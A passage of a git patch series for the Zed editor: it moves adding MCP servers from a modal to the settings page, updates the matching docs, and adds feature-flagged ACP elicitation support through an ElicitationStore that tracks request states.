                 picker.select_query(window, cx);
             }
         });
@@ -310,8 +426,18 @@ impl ModalView for TextFinder {
     fn on_before_dismiss(
         &mut self,
         _window: &mut Window,
-        _cx: &mut Context<Self>,
+        cx: &mut Context<Self>,
     ) -> DismissDecision {
+        let picker = self.picker.read(cx);
+        let query = picker.query(cx);
+        if !query.is_empty() {
+            let options = picker.delegate.search_options;
+            let workspace_id = self
+                .weak_workspace(cx)
+                .upgrade()
+                .and_then(|workspace| workspace.read(cx).database_id());
+            store_last_search(workspace_id, query, options, cx);
+        }
         DismissDecision::Dismiss(true)
     }
 }

From eef824cce5d6cfbac34d9c8af6d84ba7132dcef2 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Wed, 1 Jul 2026 12:52:33 +0200
Subject: [PATCH 188/772] agent_ui: Open MCP settings UI instead of modal
 (#60188)

This makes it so that we show open the settings UI instead of the modal
when adding an MCP server when clicking on `Add server`:

<img width="240" height="320" alt="image"
src="https://github.com/user-attachments/assets/bc5e9059-1053-45d5-8fd5-acfb7da48a35"
/>

We still show the modal when installing an extension. Since we're
hopefully replacing MCP extensions with MCP registry support soon, we
can leave it as is for now.

Release Notes:

- N/A
---
 .../configure_context_server_modal.rs         | 192 +++---------------
 crates/agent_ui/src/agent_panel.rs            |  24 ++-
 crates/agent_ui/src/agent_ui.rs               |  51 +----
 docs/src/ai/mcp.md                            |   4 +-
 4 files changed, 45 insertions(+), 226 deletions(-)

diff --git a/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs b/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs
index 843a35068be21d..6a32b488605f6b 100644
--- a/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs
+++ b/crates/agent_ui/src/agent_configuration/configure_context_server_modal.rs
@@ -6,8 +6,7 @@ use editor::{Editor, EditorElement, EditorStyle};
 use extension_host::ExtensionStore;
 use gpui::{
     AsyncWindowContext, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, ScrollHandle,
-    Subscription, Task, TaskExt, TextStyle, TextStyleRefinement, UnderlineStyle, WeakEntity,
-    prelude::*,
+    Subscription, Task, TextStyle, TextStyleRefinement, UnderlineStyle, WeakEntity, prelude::*,
 };
 use language::{Language, LanguageRegistry};
 use markdown::{Markdown, MarkdownElement, MarkdownStyle};
@@ -32,12 +31,7 @@ use ui::{
 use util::ResultExt as _;
 use workspace::{ModalView, Workspace};
 
-use crate::{AddContextServer, ContextServerType};
-
 enum ConfigurationTarget {
-    New {
-        server_type: ContextServerType,
-    },
     Existing {
         id: ContextServerId,
         command: ContextServerCommand,
@@ -56,14 +50,15 @@ enum ConfigurationTarget {
     },
 }
 
+enum ExistingServerType {
+    Local,
+    Remote,
+}
+
 enum ConfigurationSource {
-    New {
-        editor: Entity<Editor>,
-        server_type: ContextServerType,
-    },
     Existing {
         editor: Entity<Editor>,
-        server_type: ContextServerType,
+        server_type: ExistingServerType,
     },
     Extension {
         id: ContextServerId,
@@ -79,10 +74,6 @@ impl ConfigurationSource {
         !matches!(self, ConfigurationSource::Extension { editor: None, .. })
     }
 
-    fn is_new(&self) -> bool {
-        matches!(self, ConfigurationSource::New { .. })
-    }
-
     fn from_target(
         target: ConfigurationTarget,
         language_registry: Arc<LanguageRegistry>,
@@ -109,18 +100,6 @@ impl ConfigurationSource {
         }
 
         match target {
-            ConfigurationTarget::New { server_type } => ConfigurationSource::New {
-                editor: create_editor(
-                    match server_type {
-                        ContextServerType::Remote => context_server_http_input(None),
-                        ContextServerType::Local => context_server_input(None),
-                    },
-                    jsonc_language,
-                    window,
-                    cx,
-                ),
-                server_type,
-            },
             ConfigurationTarget::Existing { id, command } => ConfigurationSource::Existing {
                 editor: create_editor(
                     context_server_input(Some((id, command))),
@@ -128,7 +107,7 @@ impl ConfigurationSource {
                     window,
                     cx,
                 ),
-                server_type: ContextServerType::Local,
+                server_type: ExistingServerType::Local,
             },
             ConfigurationTarget::ExistingHttp {
                 id,
@@ -142,7 +121,7 @@ impl ConfigurationSource {
                     window,
                     cx,
                 ),
-                server_type: ContextServerType::Remote,
+                server_type: ExistingServerType::Remote,
             },
 
             ConfigurationTarget::Extension {
@@ -180,15 +159,11 @@ impl ConfigurationSource {
 
     fn output(&self, cx: &mut App) -> Result<(ContextServerId, ContextServerSettings)> {
         match self {
-            ConfigurationSource::New {
-                editor,
-                server_type,
-            }
-            | ConfigurationSource::Existing {
+            ConfigurationSource::Existing {
                 editor,
                 server_type,
             } => match *server_type {
-                ContextServerType::Remote => {
+                ExistingServerType::Remote => {
                     parse_http_input(&editor.read(cx).text(cx)).map(|(id, url, auth, oauth)| {
                         (
                             id,
@@ -202,7 +177,7 @@ impl ConfigurationSource {
                         )
                     })
                 }
-                ContextServerType::Local => {
+                ExistingServerType::Local => {
                     parse_input(&editor.read(cx).text(cx)).map(|(id, command)| {
                         (
                             id,
@@ -459,13 +434,10 @@ impl ConfigureContextServerModal {
         target: &ConfigurationTarget,
         cx: &App,
     ) -> State {
-        let Some(server_id) = (match target {
+        let server_id = match target {
             ConfigurationTarget::Existing { id, .. }
             | ConfigurationTarget::ExistingHttp { id, .. }
-            | ConfigurationTarget::Extension { id, .. } => Some(id),
-            ConfigurationTarget::New { .. } => None,
-        }) else {
-            return State::Idle;
+            | ConfigurationTarget::Extension { id, .. } => id,
         };
 
         match context_server_store.read(cx).status_for_server(server_id) {
@@ -490,32 +462,6 @@ impl ConfigureContextServerModal {
         }
     }
 
-    pub fn register(
-        workspace: &mut Workspace,
-        language_registry: Arc<LanguageRegistry>,
-        _window: Option<&mut Window>,
-        _cx: &mut Context<Workspace>,
-    ) {
-        workspace.register_action({
-            move |_workspace, action: &AddContextServer, window, cx| {
-                let workspace_handle = cx.weak_entity();
-                let language_registry = language_registry.clone();
-                let server_type = action.context_server_type;
-                window
-                    .spawn(cx, async move |cx| {
-                        Self::show_modal(
-                            ConfigurationTarget::New { server_type },
-                            language_registry,
-                            workspace_handle,
-                            cx,
-                        )
-                        .await
-                    })
-                    .detach_and_log_err(cx);
-            }
-        });
-    }
-
     pub fn show_modal_for_existing_server(
         server_id: ContextServerId,
         language_registry: Arc<LanguageRegistry>,
@@ -600,12 +546,11 @@ impl ConfigureContextServerModal {
                     workspace: workspace_handle,
                     state: Self::initial_state(&context_server_store, &target, cx),
 
-                    original_server_id: match &target {
-                        ConfigurationTarget::Existing { id, .. } => Some(id.clone()),
-                        ConfigurationTarget::ExistingHttp { id, .. } => Some(id.clone()),
-                        ConfigurationTarget::Extension { id, .. } => Some(id.clone()),
-                        ConfigurationTarget::New { .. } => None,
-                    },
+                    original_server_id: Some(match &target {
+                        ConfigurationTarget::Existing { id, .. }
+                        | ConfigurationTarget::ExistingHttp { id, .. }
+                        | ConfigurationTarget::Extension { id, .. } => id.clone(),
+                    }),
                     source: ConfigurationSource::from_target(
                         target,
                         language_registry,
@@ -835,7 +780,6 @@ impl ModalView for ConfigureContextServerModal {}
 impl Focusable for ConfigureContextServerModal {
     fn focus_handle(&self, cx: &App) -> FocusHandle {
         match &self.source {
-            ConfigurationSource::New { editor, .. } => editor.focus_handle(cx),
             ConfigurationSource::Existing { editor, .. } => editor.focus_handle(cx),
             ConfigurationSource::Extension { editor, .. } => editor
                 .as_ref()
@@ -850,7 +794,6 @@ impl EventEmitter<DismissEvent> for ConfigureContextServerModal {}
 impl ConfigureContextServerModal {
     fn render_modal_header(&self) -> ModalHeader {
         let text: SharedString = match &self.source {
-            ConfigurationSource::New { .. } => "Add MCP Server".into(),
             ConfigurationSource::Existing { .. } => "Configure MCP Server".into(),
             ConfigurationSource::Extension { id, .. } => format!("Configure {}", id.0).into(),
         };
@@ -881,79 +824,8 @@ impl ConfigureContextServerModal {
         }
     }
 
-    fn render_tab_bar(&self, cx: &mut Context<Self>) -> Option<AnyElement> {
-        let is_http = match &self.source {
-            ConfigurationSource::New { server_type, .. } => {
-                *server_type == ContextServerType::Remote
-            }
-            _ => return None,
-        };
-
-        let tab = |label: &'static str, active: bool| {
-            div()
-                .id(label)
-                .cursor_pointer()
-                .p_1()
-                .text_sm()
-                .border_b_1()
-                .when_else(
-                    active,
-                    |this| this.border_color(cx.theme().colors().border_focused),
-                    |this| {
-                        this.border_color(gpui::transparent_black())
-                            .text_color(cx.theme().colors().text_muted)
-                            .hover(|s| s.text_color(cx.theme().colors().text))
-                    },
-                )
-                .child(label)
-        };
-
-        Some(
-            h_flex()
-                .pt_1()
-                .mb_2p5()
-                .gap_1()
-                .border_b_1()
-                .border_color(cx.theme().colors().border.opacity(0.5))
-                .child(
-                    tab("Local", !is_http).on_click(cx.listener(|this, _, window, cx| {
-                        if let ConfigurationSource::New {
-                            editor,
-                            server_type,
-                        } = &mut this.source
-                            && *server_type != ContextServerType::Local
-                        {
-                            *server_type = ContextServerType::Local;
-                            let new_text = context_server_input(None);
-                            editor.update(cx, |editor, cx| {
-                                editor.set_text(new_text, window, cx);
-                            });
-                        }
-                    })),
-                )
-                .child(
-                    tab("Remote", is_http).on_click(cx.listener(|this, _, window, cx| {
-                        if let ConfigurationSource::New {
-                            editor,
-                            server_type,
-                        } = &mut this.source
-                            && *server_type != ContextServerType::Remote
-                        {
-                            *server_type = ContextServerType::Remote;
-                            let new_text = context_server_http_input(None);
-                            editor.update(cx, |editor, cx| {
-                                editor.set_text(new_text, window, cx);
-                            });
-                        }
-                    })),
-                )
-                .into_any_element(),
-        )
-    }
-
     fn render_modal_content(&self, cx: &App) -> AnyElement {
         let editor = match &self.source {
-            ConfigurationSource::New { editor, .. } => editor,
             ConfigurationSource::Existing { editor, .. } => editor,
             ConfigurationSource::Extension { editor, .. } => {
                 let Some(editor) = editor else {
@@ -1053,24 +925,15 @@ impl ConfigureContextServerModal {
                         ),
                     )
                     .children(self.source.has_configuration_options().then(|| {
-                        Button::new(
-                            "add-server",
-                            if self.source.is_new() {
-                                "Add Server"
-                            } else {
-                                "Configure Server"
-                            },
-                        )
-                        .disabled(is_busy)
-                        .key_binding(
-                            KeyBinding::for_action_in(&menu::Confirm, &focus_handle, cx)
-                                .map(|kb| kb.size(rems_from_px(12.))),
-                        )
-                        .on_click(
-                            cx.listener(|this, _event, _window, cx| {
+                        Button::new("configure-server", "Configure Server")
+                            .disabled(is_busy)
+                            .key_binding(
+                                KeyBinding::for_action_in(&menu::Confirm, &focus_handle, cx)
+                                    .map(|kb| kb.size(rems_from_px(12.))),
+                            )
+                            .on_click(cx.listener(|this, _event, _window, cx| {
                                 this.confirm(&menu::Confirm, cx)
-                            }),
-                        )
+                            }))
                     })),
             )
     }
@@ -1278,7 +1141,6 @@ impl Render for ConfigureContextServerModal {
                                         .overflow_y_scroll()
                                         .track_scroll(&self.scroll_handle)
                                         .child(self.render_modal_description(window, cx))
-                                        .children(self.render_tab_bar(cx))
                                         .child(self.render_modal_content(cx))
                                         .child(match &self.state {
                                             State::Idle => div(),
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 01b380044acfee..7fe2d2c0b9f2db 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -44,19 +44,19 @@ use crate::terminal_thread_metadata_store::{
 };
 use crate::thread_metadata_store::{ThreadId, ThreadMetadataStore, ThreadMetadataStoreEvent};
 use crate::{
-    AddContextServer, AgentDiffPane, ConversationView, CopyThreadToClipboard, Follow,
-    LoadThreadFromClipboard, NewTerminalThread, NewThread, OpenActiveThreadAsMarkdown,
-    OpenAgentDiff, ResetFastModeWarnings, ResetTrialEndUpsell, ResetTrialUpsell,
-    ShowAllSidebarThreadMetadata, ShowThreadMetadata, ToggleNewThreadMenu, ToggleOptionsMenu,
+    Agent, AgentInitialContent, AgentThreadSource, ExternalSourcePrompt, NewExternalAgentThread,
+    NewNativeAgentThreadFromSummary,
+};
+use crate::{
+    AgentDiffPane, ConversationView, CopyThreadToClipboard, Follow, LoadThreadFromClipboard,
+    NewTerminalThread, NewThread, OpenActiveThreadAsMarkdown, OpenAgentDiff, ResetFastModeWarnings,
+    ResetTrialEndUpsell, ResetTrialUpsell, ShowAllSidebarThreadMetadata, ShowThreadMetadata,
+    ToggleNewThreadMenu, ToggleOptionsMenu,
     conversation_view::{
         AcpThreadViewEvent, RootThreadUpdated, ThreadView, reset_fast_mode_warnings,
     },
     ui::{AgentNotification, AgentNotificationEvent, EndTrialUpsell},
 };
-use crate::{
-    Agent, AgentInitialContent, AgentThreadSource, ExternalSourcePrompt, NewExternalAgentThread,
-    NewNativeAgentThreadFromSummary,
-};
 use agent_settings::AgentSettings;
 use ai_onboarding::AgentPanelOnboarding;
 use anyhow::{Context as _, Result, anyhow};
@@ -5560,7 +5560,13 @@ impl AgentPanel {
                         if !showing_terminal {
                             menu = menu
                                 .header("MCP Servers")
-                                .action("Add Server…", Box::new(AddContextServer::local()))
+                                .action(
+                                    "Add Server…",
+                                    Box::new(zed_actions::OpenSettingsAt {
+                                        path: "context_servers".to_string(),
+                                        target: None,
+                                    }),
+                                )
                                 .action(
                                     "Install New Servers…",
                                     Box::new(zed_actions::Extensions {
diff --git a/crates/agent_ui/src/agent_ui.rs b/crates/agent_ui/src/agent_ui.rs
index ad5940d21c0e5b..1949a5965a86e8 100644
--- a/crates/agent_ui/src/agent_ui.rs
+++ b/crates/agent_ui/src/agent_ui.rs
@@ -67,7 +67,7 @@ use std::any::TypeId;
 use std::path::{Path, PathBuf};
 use workspace::Workspace;
 
-use crate::agent_configuration::{ConfigureContextServerModal, ManageProfilesModal};
+use crate::agent_configuration::ManageProfilesModal;
 pub use crate::agent_connection_store::{ActiveAcpConnection, AgentConnectionStore};
 pub use crate::agent_panel::{
     AgentPanel, AgentPanelEvent, AgentPanelTerminalInfo, MaxIdleRetainedThreads, TerminalId,
@@ -353,49 +353,6 @@ pub struct ToggleCommandPattern {
 #[serde(deny_unknown_fields)]
 pub struct NewThread;
 
-/// The kind of context server to configure when adding a new one.
-#[derive(Debug, Default, Clone, Copy, PartialEq, Eq, Deserialize, JsonSchema)]
-#[serde(rename_all = "snake_case")]
-pub enum ContextServerType {
-    /// A context server that runs locally via stdin/stdout.
-    #[default]
-    Local,
-    /// A context server that is connected to over HTTP.
-    Remote,
-}
-
-/// Adds a context server to the configuration.
-#[derive(Clone, PartialEq, Deserialize, JsonSchema, Action)]
-#[action(namespace = agent)]
-#[serde(deny_unknown_fields)]
-pub struct AddContextServer {
-    /// The kind of context server to add.
-    #[serde(default)]
-    pub context_server_type: ContextServerType,
-}
-
-impl Default for AddContextServer {
-    fn default() -> Self {
-        Self::local()
-    }
-}
-
-impl AddContextServer {
-    /// Returns an action that adds a local (stdin/stdout) context server.
-    pub fn local() -> Self {
-        Self {
-            context_server_type: ContextServerType::Local,
-        }
-    }
-
-    /// Returns an action that adds a remote (HTTP) context server.
-    pub fn remote() -> Self {
-        Self {
-            context_server_type: ContextServerType::Remote,
-        }
-    }
-}
-
 /// Creates a new external agent conversation thread.
 #[derive(Clone, PartialEq, Deserialize, JsonSchema, Action)]
 #[action(namespace = agent)]
@@ -628,16 +585,12 @@ pub fn init(
         init_language_model_settings(cx);
     }
     agent_panel::init(cx);
-    context_server_configuration::init(language_registry.clone(), fs.clone(), cx);
+    context_server_configuration::init(language_registry, fs.clone(), cx);
     thread_metadata_store::init(cx);
     terminal_thread_metadata_store::init(cx);
 
     inline_assistant::init(fs.clone(), prompt_builder.clone(), cx);
     terminal_inline_assistant::init(fs.clone(), prompt_builder, cx);
-    cx.observe_new(move |workspace, window, cx| {
-        ConfigureContextServerModal::register(workspace, language_registry.clone(), window, cx)
-    })
-    .detach();
     cx.observe_new(|workspace: &mut Workspace, _window, _cx| {
         workspace.register_action(
             move |workspace: &mut Workspace,
diff --git a/docs/src/ai/mcp.md b/docs/src/ai/mcp.md
index 83c456be0bbd5b..777fd0e9b085be 100644
--- a/docs/src/ai/mcp.md
+++ b/docs/src/ai/mcp.md
@@ -51,7 +51,7 @@ Popular servers available as an extension include:
 ### As Custom Servers
 
 Creating an extension is not the only way to use MCP servers in Zed.
-You can connect both local and remote MCP servers easily utilizing the MCP server modal, which you can open by invoking the {#action agent::AddContextServer} action. Your specified configuration will create entries in your settings file (which you can open with {#action zed::OpenSettingsFile}) similar to the ones below:
+You can connect both local and remote MCP servers from **Settings → AI → MCP Servers** (also accessible via the {#action agent::OpenSettings} action, then selecting `MCP Servers`). Click `Add Server` in the page header, then choose `Add Local Server` or `Add Remote Server`. Your specified configuration will create entries in your settings file (which you can open with {#action zed::OpenSettingsFile}) similar to the ones below:
 
 ```json [settings]
 {
@@ -72,8 +72,6 @@ You can connect both local and remote MCP servers easily utilizing the MCP serve
 }
 ```
 
-Alternatively, you can open the modal from **Settings → AI → MCP Servers** (also accessible via the {#action agent::OpenSettings} action, then selecting `MCP Servers`) and clicking the `Add Server` button in the page header, then choosing `Add Local Server` or `Add Remote Server`.
-
 > Note: When a remote MCP server has no configured `"Authorization"` header, Zed will prompt you to authenticate yourself against the MCP server using the standard MCP OAuth flow.
 
 ## Using MCP Servers

From fa66442a0110bd2fc73bc2af9ecc017b23088663 Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Wed, 1 Jul 2026 15:10:14 +0200
Subject: [PATCH 189/772] acp: Add experimental elicitation UI support (#58927)

Behind a feature flag as we iterate on the RFD

Release Notes:

- N/A

---------

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/acp_thread/src/acp_thread.rs           | 1759 ++++++++++++++++-
 crates/acp_thread/src/connection.rs           |    9 +-
 crates/agent_servers/src/acp.rs               |  634 +++++-
 crates/agent_ui/src/agent_diff.rs             |    2 +
 crates/agent_ui/src/conversation_view.rs      | 1190 ++++++++++-
 .../src/conversation_view/elicitation.rs      | 1642 +++++++++++++++
 .../conversation_view/thread_search_bar.rs    |    1 +
 .../src/conversation_view/thread_view.rs      |  326 ++-
 crates/agent_ui/src/entry_view_state.rs       |  103 +-
 9 files changed, 5548 insertions(+), 118 deletions(-)
 create mode 100644 crates/agent_ui/src/conversation_view/elicitation.rs

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index e85a0bd48fb95f..87c9dd1c42c5de 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -387,10 +387,366 @@ pub enum AgentThreadEntry {
     UserMessage(UserMessage),
     AssistantMessage(AssistantMessage),
     ToolCall(ToolCall),
+    Elicitation(ElicitationEntryId),
     CompletedPlan(Vec<PlanEntry>),
     ContextCompaction(ContextCompaction),
 }
 
+#[derive(Debug, Clone, PartialEq, Eq, Hash)]
+pub struct ElicitationEntryId(pub Arc<str>);
+
+#[derive(Debug)]
+pub struct Elicitation {
+    pub id: ElicitationEntryId,
+    pub request: acp::CreateElicitationRequest,
+    pub status: ElicitationStatus,
+}
+
+#[derive(Debug)]
+pub enum ElicitationStatus {
+    Pending {
+        respond_tx: oneshot::Sender<acp::CreateElicitationResponse>,
+    },
+    Accepted,
+    Declined,
+    Canceled,
+    Completed,
+}
+
+#[derive(Clone, Debug)]
+pub enum ElicitationStoreEvent {
+    ElicitationRequested(ElicitationEntryId),
+    ElicitationResponded(ElicitationEntryId),
+    ElicitationUpdated(ElicitationEntryId),
+}
+
+#[derive(Default)]
+pub struct ElicitationStore {
+    elicitations: Vec<Elicitation>,
+}
+
+impl EventEmitter<ElicitationStoreEvent> for ElicitationStore {}
+
+impl ElicitationStore {
+    pub fn elicitations(&self) -> &[Elicitation] {
+        &self.elicitations
+    }
+
+    fn validate_request(
+        request: &acp::CreateElicitationRequest,
+        cx: &App,
+    ) -> Result<(), acp::Error> {
+        if !cx.has_flag::<AcpBetaFeatureFlag>() {
+            return Err(
+                acp::Error::invalid_params().data("elicitation support requires the ACP beta flag")
+            );
+        }
+
+        if let acp::ElicitationMode::Url(mode) = &request.mode {
+            url::Url::parse(&mode.url)
+                .map_err(|_| acp::Error::invalid_params().data("invalid elicitation URL"))?;
+        }
+
+        Ok(())
+    }
+
+    fn insert_pending_elicitation(
+        &mut self,
+        request: acp::CreateElicitationRequest,
+    ) -> (
+        ElicitationEntryId,
+        oneshot::Receiver<acp::CreateElicitationResponse>,
+    ) {
+        let (respond_tx, response_rx) = oneshot::channel();
+        let id = ElicitationEntryId(Uuid::new_v4().to_string().into());
+        self.elicitations.push(Elicitation {
+            id: id.clone(),
+            request,
+            status: ElicitationStatus::Pending { respond_tx },
+        });
+        (id, response_rx)
+    }
+
+    fn response_task<T>(
+        id: ElicitationEntryId,
+        response_rx: oneshot::Receiver<acp::CreateElicitationResponse>,
+        cx: &mut Context<T>,
+        emit_responded: impl FnOnce(&mut T, &mut Context<T>, ElicitationEntryId) + 'static,
+    ) -> Task<acp::CreateElicitationResponse>
+    where
+        T: 'static,
+    {
+        cx.spawn(async move |this, cx| {
+            let response = response_rx.await.unwrap_or_else(|oneshot::Canceled| {
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Cancel)
+            });
+            this.update(cx, |this, cx| emit_responded(this, cx, id))
+                .ok();
+            response
+        })
+    }
+
+    fn respond_to_elicitation_entry(
+        elicitation: &mut Elicitation,
+        response: acp::CreateElicitationResponse,
+    ) -> bool {
+        if !matches!(elicitation.status, ElicitationStatus::Pending { .. }) {
+            return false;
+        }
+        let ElicitationStatus::Pending { respond_tx } = mem::replace(
+            &mut elicitation.status,
+            elicitation_status_for_response(&response),
+        ) else {
+            return false;
+        };
+        respond_tx.send(response).ok();
+        true
+    }
+
+    fn complete_url_elicitation_entry(elicitation: &mut Elicitation) -> bool {
+        let previous_status = mem::replace(&mut elicitation.status, ElicitationStatus::Completed);
+        match previous_status {
+            ElicitationStatus::Pending { respond_tx } => {
+                respond_tx
+                    .send(acp::CreateElicitationResponse::new(
+                        acp::ElicitationAction::Accept(acp::ElicitationAcceptAction::new()),
+                    ))
+                    .ok();
+                true
+            }
+            ElicitationStatus::Accepted => true,
+            ElicitationStatus::Completed => false,
+            previous_status @ (ElicitationStatus::Declined | ElicitationStatus::Canceled) => {
+                elicitation.status = previous_status;
+                false
+            }
+        }
+    }
+
+    fn cancel_elicitation_entry(
+        elicitation: &mut Elicitation,
+        cancel_accepted_url_elicitations: bool,
+    ) -> bool {
+        match mem::replace(&mut elicitation.status, ElicitationStatus::Canceled) {
+            ElicitationStatus::Pending { respond_tx } => {
+                respond_tx
+                    .send(acp::CreateElicitationResponse::new(
+                        acp::ElicitationAction::Cancel,
+                    ))
+                    .ok();
+                true
+            }
+            ElicitationStatus::Accepted
+                if cancel_accepted_url_elicitations
+                    && matches!(&elicitation.request.mode, acp::ElicitationMode::Url(_)) =>
+            {
+                true
+            }
+            previous_status => {
+                elicitation.status = previous_status;
+                false
+            }
+        }
+    }
+
+    fn respond_to_elicitation_by_id(
+        &mut self,
+        id: &ElicitationEntryId,
+        response: acp::CreateElicitationResponse,
+    ) -> bool {
+        let Some((_, elicitation)) = self.elicitation_mut(id) else {
+            return false;
+        };
+        Self::respond_to_elicitation_entry(elicitation, response)
+    }
+
+    fn complete_url_elicitation_by_id(&mut self, id: &ElicitationEntryId) -> bool {
+        let Some((_, elicitation)) = self.elicitation_mut(id) else {
+            return false;
+        };
+        Self::complete_url_elicitation_entry(elicitation)
+    }
+
+    fn cancel_elicitation_by_id(
+        &mut self,
+        id: &ElicitationEntryId,
+        cancel_accepted_url_elicitations: bool,
+    ) -> bool {
+        let Some((_, elicitation)) = self.elicitation_mut(id) else {
+            return false;
+        };
+        Self::cancel_elicitation_entry(elicitation, cancel_accepted_url_elicitations)
+    }
+
+    pub fn request_elicitation(
+        &mut self,
+        request: acp::CreateElicitationRequest,
+        cx: &mut Context<Self>,
+    ) -> Result<Task<acp::CreateElicitationResponse>, acp::Error> {
+        self.request_elicitation_with_id(request, cx)
+            .map(|(_, task)| task)
+    }
+
+    pub fn request_elicitation_with_id(
+        &mut self,
+        request: acp::CreateElicitationRequest,
+        cx: &mut Context<Self>,
+    ) -> Result<(ElicitationEntryId, Task<acp::CreateElicitationResponse>), acp::Error> {
+        Self::validate_request(&request, cx)?;
+        let (id, response_rx) = self.insert_pending_elicitation(request);
+        cx.emit(ElicitationStoreEvent::ElicitationRequested(id.clone()));
+        cx.notify();
+
+        let task = Self::response_task(id.clone(), response_rx, cx, |_store, cx, id| {
+            cx.emit(ElicitationStoreEvent::ElicitationResponded(id));
+            cx.notify();
+        });
+
+        Ok((id, task))
+    }
+
+    pub fn respond_to_elicitation(
+        &mut self,
+        id: &ElicitationEntryId,
+        response: acp::CreateElicitationResponse,
+        cx: &mut Context<Self>,
+    ) {
+        if !self.respond_to_elicitation_by_id(id, response) {
+            return;
+        }
+
+        cx.emit(ElicitationStoreEvent::ElicitationUpdated(id.clone()));
+        cx.notify();
+    }
+
+    pub fn complete_url_elicitation(
+        &mut self,
+        elicitation_id: &acp::ElicitationId,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(entry_id) = self.entry_id_for_url_elicitation(elicitation_id) else {
+            return;
+        };
+        if !self.complete_url_elicitation_by_id(&entry_id) {
+            return;
+        }
+
+        cx.emit(ElicitationStoreEvent::ElicitationUpdated(entry_id));
+        cx.notify();
+    }
+
+    pub fn cancel_elicitation(&mut self, id: &ElicitationEntryId, cx: &mut Context<Self>) {
+        if !self.cancel_elicitation_by_id(id, true) {
+            return;
+        }
+
+        cx.emit(ElicitationStoreEvent::ElicitationUpdated(id.clone()));
+        cx.notify();
+    }
+
+    pub fn cancel_all(&mut self, cx: &mut Context<Self>) {
+        let canceled_ids = self.cancel_pending(|_| true);
+        for id in canceled_ids {
+            cx.emit(ElicitationStoreEvent::ElicitationUpdated(id));
+        }
+        cx.notify();
+    }
+
+    pub fn clear(&mut self, cx: &mut Context<Self>) {
+        let canceled_ids = self.cancel_pending(|_| true);
+        self.elicitations.clear();
+        for id in canceled_ids {
+            cx.emit(ElicitationStoreEvent::ElicitationUpdated(id));
+        }
+        cx.notify();
+    }
+
+    pub fn clear_resolved(&mut self, cx: &mut Context<Self>) -> Vec<ElicitationEntryId> {
+        let mut cleared_ids = Vec::new();
+        self.elicitations.retain(|elicitation| {
+            let keep = matches!(
+                (&elicitation.status, &elicitation.request.mode),
+                (ElicitationStatus::Pending { .. }, _)
+                    | (ElicitationStatus::Accepted, acp::ElicitationMode::Url(_))
+            );
+            if !keep {
+                cleared_ids.push(elicitation.id.clone());
+            }
+            keep
+        });
+
+        if !cleared_ids.is_empty() {
+            for id in &cleared_ids {
+                cx.emit(ElicitationStoreEvent::ElicitationUpdated(id.clone()));
+            }
+            cx.notify();
+        }
+
+        cleared_ids
+    }
+
+    pub fn cancel_request(&mut self, request_id: &acp::RequestId, cx: &mut Context<Self>) {
+        let canceled_ids = self.cancel_pending(|elicitation| {
+            matches!(
+                elicitation.request.scope(),
+                acp::ElicitationScope::Request(scope) if &scope.request_id == request_id
+            )
+        });
+        for id in canceled_ids {
+            cx.emit(ElicitationStoreEvent::ElicitationUpdated(id));
+        }
+        cx.notify();
+    }
+
+    pub fn elicitation(&self, id: &ElicitationEntryId) -> Option<(usize, &Elicitation)> {
+        self.elicitations
+            .iter()
+            .enumerate()
+            .rev()
+            .find_map(|(index, elicitation)| {
+                (&elicitation.id == id).then_some((index, elicitation))
+            })
+    }
+
+    fn entry_id_for_url_elicitation(
+        &self,
+        elicitation_id: &acp::ElicitationId,
+    ) -> Option<ElicitationEntryId> {
+        self.elicitations.iter().rev().find_map(|elicitation| {
+            if let acp::ElicitationMode::Url(mode) = &elicitation.request.mode
+                && &mode.elicitation_id == elicitation_id
+            {
+                Some(elicitation.id.clone())
+            } else {
+                None
+            }
+        })
+    }
+
+    fn elicitation_mut(&mut self, id: &ElicitationEntryId) -> Option<(usize, &mut Elicitation)> {
+        self.elicitations
+            .iter_mut()
+            .enumerate()
+            .rev()
+            .find_map(|(index, elicitation)| {
+                (&elicitation.id == id).then_some((index, elicitation))
+            })
+    }
+
+    fn cancel_pending(
+        &mut self,
+        mut should_cancel: impl FnMut(&Elicitation) -> bool,
+    ) -> Vec<ElicitationEntryId> {
+        let mut canceled_ids = Vec::new();
+        for elicitation in &mut self.elicitations {
+            if should_cancel(elicitation) && Self::cancel_elicitation_entry(elicitation, true) {
+                canceled_ids.push(elicitation.id.clone());
+            }
+        }
+        canceled_ids
+    }
+}
+
 #[derive(Debug, Clone, PartialEq, Eq)]
 pub struct ContextCompactionId(pub Arc<str>);
 
@@ -432,6 +788,7 @@ impl AgentThreadEntry {
             Self::UserMessage(message) => message.indented,
             Self::AssistantMessage(message) => message.indented,
             Self::ToolCall(_) => false,
+            Self::Elicitation(_) => false,
             Self::CompletedPlan(_) => false,
             Self::ContextCompaction(_) => false,
         }
@@ -442,6 +799,7 @@ impl AgentThreadEntry {
             Self::UserMessage(message) => message.to_markdown(cx),
             Self::AssistantMessage(message) => message.to_markdown(cx),
             Self::ToolCall(tool_call) => tool_call.to_markdown(cx),
+            Self::Elicitation(_) => "## Input Requested\n\n".to_string(),
             Self::CompletedPlan(entries) => {
                 let mut md = String::from("## Plan\n\n");
                 for entry in entries {
@@ -971,6 +1329,15 @@ impl Display for ToolCallStatus {
     }
 }
 
+fn elicitation_status_for_response(response: &acp::CreateElicitationResponse) -> ElicitationStatus {
+    match &response.action {
+        acp::ElicitationAction::Accept(_) => ElicitationStatus::Accepted,
+        acp::ElicitationAction::Decline => ElicitationStatus::Declined,
+        acp::ElicitationAction::Cancel => ElicitationStatus::Canceled,
+        _ => ElicitationStatus::Canceled,
+    }
+}
+
